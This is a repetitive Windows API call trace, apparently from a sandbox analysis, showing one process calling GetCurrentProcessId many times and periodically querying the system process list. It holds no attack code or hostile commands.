[0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.464] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.465] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.466] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.467] GetCurrentProcessId () returned 0x10c0 [0156.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d380) returned 0x0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.994] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.995] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.996] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.997] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0156.998] GetCurrentProcessId () returned 0x10c0 [0157.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d380) returned 0x0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.515] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.516] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.517] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.518] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0157.519] GetCurrentProcessId () returned 0x10c0 [0158.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d380) returned 0x0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.039] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.040] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.041] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.042] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.043] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.044] GetCurrentProcessId () returned 0x10c0 [0158.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d4c0) returned 0x0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.272] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.273] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.274] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.275] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.276] GetCurrentProcessId () returned 0x10c0 [0159.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d5b0) returned 0x0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.850] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] 